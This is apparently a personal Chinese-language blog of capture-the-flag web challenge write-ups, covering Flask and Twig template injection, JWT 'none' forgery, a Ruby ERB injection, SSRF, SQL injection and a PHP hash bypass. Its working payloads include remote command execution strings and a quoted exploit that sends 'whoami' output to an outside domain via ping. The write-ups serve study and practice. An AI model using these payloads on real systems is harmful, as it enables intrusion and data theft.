写在前面 继续努力
[CISCN2019 华东南赛区]Double Secret
进来一句话,做题全靠猜
web 题,直接去/secret
目录
这句话提到了发送 secret 过去,会有 encrypt
加密,get 一个 secret=admin123
过去直接进报错,又是 flask
发现可疑的源码泄露点
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
分析一下就是对输入的secret
采用了 RC4 的加密,密钥是HereIsTreasure
列目录ls /
的payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
,需要经过 RC4 加密
不知道为什么试了很多个在线加密的网站,同一个明文同一个密钥,但是加密结果都不同,很怪,直接找脚本了
import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
发现有flag.txt
cat /flag.txt
的payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
拿到 flag
[HFCTF2020]EasyLogin
简单的登录框
注册进来以后是拿 flag 的页面,查看源代码发现有个提示信息,百度 koa 发现是个 js 的框架,也不知道他说的根目录是什么东西,我自己爬
嗯,看了 wp 之后我真的得自己爬了,说要去controllers/api.js
页面下看 koa 框架对请求的处理逻辑,个个都说这个是经验,我没有经验,我自己爬
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
虽然没学过 js 但是也能懂大概的意思,就是对每一个路由进来的页面进行逻辑处理
有对 /flag
页面的逻辑处理,需要校验 session 是否为 admin 用户,如果是才能拿到 flag
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
在注册页面,采用 JWT 方式生成 token
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
所以这题就是考 JWT 伪造 admin 的 token
关于 JWT
下面内容选自其中
JWT 的结构
JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:
Header
Payload
Signature
因此,一个典型的JWT看起来是这个样子的:xxxxx.yyyyy.zzzzz
,接下来,具体看一下每一部分:
Header
Header
典型的由两部分组成:token 的类型(“JWT”)和算法名称(比如:HMAC SHA256 或者 RSA 等等)。
例如:
然后,用 Base64 对这个 JSON 编码就得到 JWT 的第一部分
Payload
JWT 的第二部分是 payload
,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered
, public
和private
。
Registered claims
: 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等。Public claims
: 可以随意定义。Private claims
: 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明。
下面是一个例子:
对 payload
进行Base64编码就得到JWT的第二部分
注意,不要在JWT的
payload
或Header
中放置敏感信息,除非它们是加密的。
Signature
为了得到签名部分,你必须有编码过的 Header
、编码过的 payload
、一个秘钥
,签名算法是 Header
中指定的那个,然对它们签名即可。
例如:HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
签名是用于验证消息在传递过程中有没有被更改,并且,对于使用私钥签名的 token,它还可以验证 JWT 的发送方是否为它所称的发送方。
JWT 攻击手段
1. 敏感信息泄露
当服务端的秘钥泄密的时候,JWT的伪造就变得非常简单容易。对此,服务端应该妥善保管好私钥,以免被他人窃取。
2. 将加密方式改为'none'
下文实战中的 Juice Shop JWT issue 1 便是这个问题。之前谈及过nonsecure JWT的问题。
签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+'.'+ payload +'.'
)并将其提交给服务器。
解决对策:
不允许出现 none 的方法;
将开启 alg : none 作为一种额外的配置选项。
3.将算法RS256修改为HS256(非对称密码算法=>对称密码算法)
HS256使用密钥来签名和验证每个消息。而RS256使用私钥对消息进行签名并使用公钥进行认证。
如果将算法从RS256更改为HS256,则后端代码使用公钥作为密钥,然后使用HS256算法验证签名。由于攻击者有时可以获取公钥,因此攻击者可以将标头中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
此时,后端代码就会使用RSA公钥+HS256算法进行签名验证,从而让验证通过。
解决对策:
不允许 HS256等对称加密 算法读取秘钥。jwtpy就是限制了这种方法。当读取到 类似于 "--- xxx key ---" 的参数的时候应抛出错误;
将秘钥与验证算法相互匹配。
4. HS256(对称加密)密钥破解
如果HS256密钥强度较弱,则可以直接强制使用,通过爆破 HS256的秘钥可以完成该操作。难度比较低。解决对策很简单,使用复杂的秘钥即可。
5. 错误的堆叠加密+签名验证假设
错误的堆叠加密
这种攻击发生在单个的或者嵌套的JWE中,我们想象一个JWE如下所示:
JWT RAW
header : ...
payload: "admin" : false
"uid" : 123
"umail" : 123@126.com
...
JWE Main
protected / unprotected
recipients:
en_key : key1
en_key : key2
cipher : xxx
在攻击者不修改秘钥的情况下,对于ciphertext进行修改。往往会导致解密的失败。但是,即使是失败,很多JWT的解密也是会有输出的,在没有附加认证数据(ADD)的情况下更是如此。攻击者对于ciphertext的内容进行修改,可能会让其他的数据无法解密,但是只要最后输出的payload中,有“admin":true。 其目的就已经达到了。
回到题目,在登陆处抓包,拿到 JWT 令牌(authorization
内容)
网站解码
伪造{"alg":"none","typ":"JWT"}
和{"secretid": [],"username": "admin","password": "admin123","iat": 1612668531}
的 base64 ,用.
拼接起来发包
伪造成功
有个地方有点奇怪,base64 出来的
=
号,放进去会失败,去掉就能成功
放包登录成功,再点 getflag 抓包,拿到 flag
参考文章
关于 JWT 网站
这题学到很多新东西,舒服了
[Zer0pts2020]Can you guess it?
题目直接给了源码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
其中关键部分,告诉了 flag 在 config.php 里面
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$_SERVER['PHP_SELF']
是当前正在执行的脚本的文件名
preg_match('/config\.php\/*$/i'
是正则匹配是否有以config.php/
结尾的字符串
basename($_SERVER['PHP_SELF'])
,其中basename()
函数返回路径中的文件名部分,配合高亮的highlight_file
函数,用来显示源码
如果不以正则结尾,比如
/index.php/config.php/abc
,可以绕过正则,但是basename()
函数的值会变成abc
,所以就要找,既能够绕过正则匹配,又不让basename()
识别的字符
找资料得到basename()
函数的一个问题,它会去掉文件名开始的非 ASCII 值
# 测试脚本<?phpfunction check($str){ return preg_match('/config\.php\/*$/i', $str);}for ($i = 0; $i < 255; $i++){ $s = '/index.php/config.php/'.chr($i); if(!check($s)){ $t = basename('/index.php/config.php/'.chr($i)); echo "${i}: ${t}\n"; }}?>
URL 编码使用 "%" 其后跟随两位的十六进制数来替换非 ASCII 字符
payload:/index.php/config.php/%82?source
,拿到 flag
2021.2.9 出去跟朋友宣讲,咕了一天
[BJDCTF2020]Cookie is so stable
在hint.php
里有提示
在flag.php
测试{{7*7}}
回显 49,确认是模板注入,结合提示,应该 cookie
处是注入点
优秀好文
用{{7*'7'}}
参数测试得知是 Twig 的模板注入,文章中给出了 payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
最终 payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
拿到 falg
2021.2.11
大年三十休息了一天,祝看到这篇博客的有缘人新年快乐,心想事成,好运连连!
——C1everF0x
[SCTF2019]Flag Shop
预期解
不会有人想着改前端的东西能骗自己吧,不会吧不会吧,不会那个人就是我吧
F12 中有源码中有前端 JS 的泄露,但是没啥乱用,robots.txt
有一个/filebak
,进去拿到源码
require 'sinatra'require 'sinatra/cookies'require 'sinatra/json'require 'jwt'require 'securerandom'require 'erb'set :public_folder, File.dirname(__FILE__) + '/static'FLAGPRICE = 1000000000000000000000000000ENV["SECRET"] = SecureRandom.hex(64)configure do enable :logging file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+") file.sync = true use Rack::CommonLogger, fileendget "/" do redirect '/shop', 302endget "/filebak" do content_type :text erb IO.binread __FILE__endget "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20} auth = JWT.encode payload,ENV["SECRET"] , 'HS256' cookies[:auth] = authendget "/api/info" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})endget "/shop" do erb :shopendget "/work" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result endendpost "/shop" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } if auth[0]["jkl"] < FLAGPRICE then json({title: "error",message: "no enough jkl"}) else auth << {flag: ENV["FLAG"]} auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth json({title: "success",message: "jkl is good thing"}) endenddef islogin if cookies[:auth].nil? then redirect to('/shop') endend
又是新东西,直接面向 wp 做题,我自己爬
参考资料
关键代码部分存在 ERB 模板注入,当 GET 的do
和name
参数一样且字符数小于 7 个的时候,会输出{params[:name][0,7]} working successfully!
if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
另一部分关键代码是当SECRET
参数存在,但是值为空时,会与环境变量(ENV)中的SECRET
进行正则匹配
unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end
所以,基于 ruby 的特性:
$'
,是 ruby 中预定义的一个全局变量,表示最近一次正则匹配结果
,<%=
语法可以用来执行 Ruby 语句,并会尝试将结果转换为字符串,以附在最终的结果文本中
总结思路就是SECRET
参数给空,让后端进行正则匹配,do
和name
的参数为<%=$'%>
(这里刚好七个字符,很巧妙),就可以拿到 JWT 的密钥进行 cookie 伪造
payload:/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
拿到密钥
f3ccc772782148b314b4cef0a341a8372e4174a93bb28bf4472aa724fe97dd0dfbf7c31187b3e808ee8a3af4cbd0e8edb324a0728623985720f0f483109ed404
伪造能买到 flag 的 cookie
买 flag 更改 cookie
查看 cookie 拿到 flag
拿到 flag 后去看了 ev0A 师傅的博客,发现有一个非预期解,能够直接 getshell,仔细研究了一下,深入浅出,不愧是大佬的写的博客
下面内容出自 ev0A 师傅博文内容
非预期解
例题
我还是决定先从大家最喜欢的 PHP 讲起,请看这一道例题
<?php$flag = "flag"; if (isset ($_GET['ctf'])) { if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?>
这是 Bugku 的一道题目 相信大部分人都做过,考察的的是 PHP 的弱类型,这里只需要输入?ctf[]=1
即可绕过,这就是一个最简单的HTTP传参的类型差异的问题,但是实际中不可能有程序员写出这种无厘头的代码,而且在CTF中这样出题也会让赛棍瞬间想起这个知识点从而秒题,所以就在思考,有没有什么实际中可能存在的代码和CTF中不那么容易被赛棍秒题的写法呢
看文下面这个代码,大家就知道为什么会产生非预期了
$a = "qwertyu"$b = Array["bbb","cc","d"]puts "$a: #{\$a[0,3]}"puts "$b: #{$b[0,3]}"# {}可以想象成 ${} 代表解析里面的变量# [0,3]可以想象成python的[0:3]# 输出结果# [evoA@Sycl0ver]#> ruby test.rb# $a: qwe# $b: ["bbb", "cc", "d"]
这里,可以类PHP中的弱类型,$b
变量原本是数组,但是由于被拼接到了字符串中,所以数组做了一个默认的类型转换变成了["bbb", "cc", "d"]
有了这个 trick,上面代码 [0,7] 从原本的限制 7 个字符突然变成了限制 7 个数组长度 emmmmmmm,于是
- 非预期exp
/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6
直接实现了任意命令执行
解释
- 这就是一个HTTP参数传递类型差异的问题,具体的意思就是,由于语言的松散型,url传参可以传入非字符串以外的其他数据类型,最常见的就是数组,而后端语言没有做校验,并且在某些语法上,字符串和数组存在语法重复,就可以利用这个特性,绕过一些程序逻辑
- 什么叫语法重复,就是对一个变量进行一些操作,不管变量是数组还是字符串,都可以成功执行并返回。 最常见的就是输出语法,比如echo ,大部分编程语言会把数组转换为字符串。 当然,这并不是什么新鲜的攻击面,只是在之前没多少人系统的归纳这种攻击方式,但我觉得如果能找到一个合适的场合,这种利用方式还是很强大的(比如我的getshell非预期Orz
[HITCON 2017]SSRFme
很明显的 SSRF PHP 代码的题目
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"]));//删去filename变量中的.以防止目录穿越 @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
$_SERVER
是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组
explode()
函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组
shell_exec
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回, shell_exec(string $cmd)
escapeshellarg
把字符串转码为可以在 shell 命令里使用的参数,escapeshellarg(string $arg)
pathinfo
返回一个关联数组包含有 path 的信息。 包括以下的数组元素:
[dirname]路径名
[basename]文件名
[extension]扩展名
总结代码审计的内容,先是创建一个sandbox/"md5(orange"IP地址")
的文件夹,然后执行GET $_GET['url']
,然后会创建 以参数 filename 的值为名字的文件夹,并将执行GET $_GET['url']
后的结果放在该文件夹下面 filename 传过去的文件中
payload:?url=/&filename=aaa
,然后在sandbox/"md5(orange"IP地址")
目录下访问aaa
可以看到根目录下的所有文件内容,发现有个readflag
因为.
会被替换成_
,所以利用bash -c "cmd string"
来执行命令执行 readflag
?url=&filename=bash -c /readflag|
先新建一个名为 “bash -c /readflag|” 的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa
再利用 GET 执行 bash -c /readflag 保存到 aaa 文件
访问sandbox/"md5(orange"IP地址")
拿到 flag
其实感觉应该是要有一台自己的服务器,在自己的服务器上面写个🐎,然后用 url 请求自己的服务器, filename 写🐎的名字,这样就形成了 SSRF 服务器端请求伪造,请求下载了我的🐎,最后用蚁剑连
参考文章
virink_2019_files_share
进去玩魔方玩了半天发现自己是在做题
源码中有 hint 提示和一个文件上传的路径/uploads
抓包发现有任意文件读的漏洞,并且测试存在过滤,会把/
前面的两个字符替换成空,所以../etc/passwd
会变成epasswd
双写绕过过滤,然后目录穿越七层,根据提示一直以为是flag_Is_h3re
,但是一直弄不出来,去看了 wp 发现还需要加一个/flag
,不知道是什么脑回路,拿到 flag
[watevrCTF-2019]Cookie Store
很明显的 cookie 伪造题目,session 里面的东西是一串纯的 base64
修改 money 的值然后重新编码,抓包把伪造的 cookie 放上去,拿到 flag
BUU 过年居然机房故障了,去干 JarvisOJ 的 web 了,记得以前还剩三四题就 ak 了,这回刚好有机会
2020.2.21
BUU 服务器恢复了,开整
[RootersCTF2019]babyWeb
直接把黑名单都说出来了
banned words and characters UNION SLEEP ' " OR - BENCHMARK
随便输入一个,查询语句也告诉了
SELECT * FROM users WHERE uniqueid=1
payload:1 order by 3
返回报错,1 order by 2
返回正常
过滤了or
可以用||
来代替,union
禁掉了,可以用limit
限制返回字段数量
payload:1 || 1=1 limit 1
,万能密码,拿到 flag
[羊城杯 2020]Blackcat
点进来听了半天,扫目录也扫不出东西,没什么思路去看了 wp,结果居然是要下载 mp3 下来,winhex 打开里面能看到源码,可能是对应注释里的那句<!--都说听听歌了!-->
吧
源码:
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('谁!竟敢踩我一只耳的尾巴!');} $clandestine = getenv("clandestine"); if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine); if($hh !== $_POST['Black-Cat-Sheriff']){ die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');} echo exec("nc".$_POST['One-ear']);
简单读一读逻辑,Black-Cat-Sheriff
、One-ear
、White-cat-monitor
三个参数可控,POST 方式提交,clandestine
参数的值由getenv
函数从环境变量中的clandestine
来定,环境变量中clandedtine
的值由hash_hmac
函数用sha256
加密方法加密White-cat-monitor
的值得到的哈希字符串来定,hh
参数的值由hash_hmac
函数用sha256
加密方法加密One-ear
的值得到,当hh
等于Black-Cat-Sheriff
时,执行 RCE
hash_hmac
— 使用 HMAC 方法生成带有密钥的哈希值
Copyhash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) : string
众所周知,PHP 是世界上最好的语言,像md5
、sha256
这种加密函数,都是无法解析数组的,当遇到数组的时候,hash_hmac
函数会报错并返回NULL
,所以,我们的clandestine
参数可控为NULL
,当White-cat-monitor
值传进去为一个数组的时候,函数返回NULL
赋值给clandestine
,然后本地测试可以控制hh
的值,执行 RCE
cat flag.php
得到的是原题比赛环境下的 flag,BUU 复现环境下的 flag 是设置成了一个环境变量FLAG
,用env
命令可以得到,看了 wp 才知道.....